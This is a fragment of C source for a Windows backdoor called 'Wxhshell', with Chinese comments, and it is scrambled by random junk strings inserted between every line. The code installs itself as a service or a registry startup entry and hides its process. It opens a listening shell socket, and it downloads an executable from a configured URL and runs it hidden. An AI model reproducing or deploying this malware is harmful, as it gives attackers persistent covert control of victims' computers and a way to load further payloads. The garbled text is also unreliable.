e if(!hProcess) return 0; :pz@'J J|be'V#]1 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7r)]9_[( tl7:L> CloseHandle(hProcess); c9Cc%EK X%JyC_~< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iS<1C`%> if(hProcess==NULL) return 0; $]}K ; >=:mtcph HMODULE hMod; _/cX!/" char procName[255]; +F-Y^): unsigned long cbNeeded; (vzYgU, "$K]+0ryG< if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `'3 De( 5M #',(X CloseHandle(hProcess); 99By.+~pX u;1[_~ if(strstr(procName,"services")) return 1; // 以服务启动 )D'#>!Y G?\eO&QG{" return 0; // 注册表启动 F s=x+8'M } I?%q`GyP5 5`Uzx u // 主模块 m?Cb^WgcF int StartWxhshell(LPSTR lpCmdLine) J&JZYuuf { <&O*'
<6C SOCKET wsl; ,D(Bg9C BOOL val=TRUE; 4!xRA '' int port=0; oTXIs4+G struct sockaddr_in door; #r?[@aJ Y$c7uA:4 if(wscfg.ws_autoins) Install(); F:jtzy" 8f)pf$v` port=atoi(lpCmdLine); `nEqw/I 7
<]YK`a2d if(port<=0) port=wscfg.ws_port; %{:pBt:Z Vjo[rUW WSADATA data; v.TgB) if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Jc]66
5T( cy if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; BBV>QL setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ycOnPTh door.sin_family = AF_INET; bT
T> door.sin_addr.s_addr = inet_addr("127.0.0.1"); y x#ub-A8 door.sin_port = htons(port); 6w
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if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J>;r(j closesocket(wsl); a$^)~2U{ return 1; 'X6Y!VDd } /z`tI KECW~e` if(listen(wsl,2) == INVALID_SOCKET) { eK*oV}U-k closesocket(wsl); %VR{<{3f return 1; ~[og\QZX } 7j&EQm5\9 Wxhshell(wsl); uW#s;1H.) WSACleanup(); em )%U =Bm|9A1 return 0; $ywROa] WDV=]D/OE } ,2 W=/,5A A<TYt
M // 以NT服务方式启动 N$C+le VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @)[8m8paV { $9r4MMs{$ DWORD status = 0; ONy\/lu| DWORD specificError = 0xfffffff; S-~)|7d. Y}t)!}p$r serviceStatus.dwServiceType = SERVICE_WIN32; XD0a :T) serviceStatus.dwCurrentState = SERVICE_START_PENDING; BYhiP/^ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZUS5z+o serviceStatus.dwWin32ExitCode = 0; {[Y7h}7 serviceStatus.dwServiceSpecificExitCode = 0; `"yxmo*0 serviceStatus.dwCheckPoint = 0; EEK!'[<,sE serviceStatus.dwWaitHint = 0; g"m9[R=]6 xVX:kDX hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^ACrWk~UY if (hServiceStatusHandle==0) return; bqA`oRb\ 6\I1J=
C status = GetLastError(); Buh}+n2]5 if (status!=NO_ERROR) 9y5JV3 { " Y^9g/ serviceStatus.dwCurrentState = SERVICE_STOPPED; R4JfH serviceStatus.dwCheckPoint = 0; f>4|>kS serviceStatus.dwWaitHint = 0; 33D2^Sf6" serviceStatus.dwWin32ExitCode = status; $0un`&W serviceStatus.dwServiceSpecificExitCode = specificError; CnZEBAU SetServiceStatus(hServiceStatusHandle, &serviceStatus);
EStui>ho return; mf{M-(6' } P6La)U`VA |>'N^ serviceStatus.dwCurrentState = SERVICE_RUNNING; w3sU& |N serviceStatus.dwCheckPoint = 0; 6aHD?a o serviceStatus.dwWaitHint = 0; U] GD6q if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ml{
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@by{ .`*]nN{ // 处理NT服务事件,比如:启动、停止 lz<'
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. VOID WINAPI NTServiceHandler(DWORD fdwControl) 2Vf242z_ { +WMXd.iN, switch(fdwControl) p'%S{v@5(( { 1jop;{,^ case SERVICE_CONTROL_STOP: -vT{D$&1 serviceStatus.dwWin32ExitCode = 0; }79jyS-e serviceStatus.dwCurrentState = SERVICE_STOPPED;
_(8# serviceStatus.dwCheckPoint = 0; 4Otq3s34FT serviceStatus.dwWaitHint = 0; 4'*.3f'bp { s2|.LmC3|B SetServiceStatus(hServiceStatusHandle, &serviceStatus); '7oCWHq[ } A s}L=2 return; Y*\h?p[, case SERVICE_CONTROL_PAUSE: 'v
CMf serviceStatus.dwCurrentState = SERVICE_PAUSED; & /T} break; m;>G]Sbe case SERVICE_CONTROL_CONTINUE: <Lxp t serviceStatus.dwCurrentState = SERVICE_RUNNING; w{xa@Q]t- break; !o?&{"#+ case SERVICE_CONTROL_INTERROGATE: jIrfJ*z break; $':5uU1} }; T|D^kL%m! SetServiceStatus(hServiceStatusHandle, &serviceStatus); ty"L&$bf } Z4As'al %cUC~, g_( // 标准应用程序主函数 00dY?d{[D int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]cS(2hP7 { a)=|{QR>W (?^ F }] // 获取操作系统版本 ^p9V5o OsIsNt=GetOsVer(); F!u)8>s+z{ GetModuleFileName(NULL,ExeFile,MAX_PATH); IO
0nT 1y1:<t // 从命令行安装 myN2G?>; if(strpbrk(lpCmdLine,"iI")) Install(); "T^%HPif rCczQ71W // 下载执行文件 ,VEE<*'X if(wscfg.ws_downexe) { ZX`x9/0& if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .xmB8 R WinExec(wscfg.ws_filenam,SW_HIDE); N'&>bO?@` } ^9 LoxU- oA~0"}eS if(!OsIsNt) { _/}$X"4 // 如果时win9x,隐藏进程并且设置为注册表启动 r*$f^T!| HideProc(); %k['<BYG< StartWxhshell(lpCmdLine); E# 8|h( } '/ Hoq else <a
-a~ if(StartFromService()) (GL'm[V // 以服务方式启动 6|f8DX%3V StartServiceCtrlDispatcher(DispatchTable); C R?}* else YLA(hg| // 普通方式启动 wXqwb|2 StartWxhshell(lpCmdLine); iV?8'^ ^lZ7% 6 return 0; pKj:)6t" }
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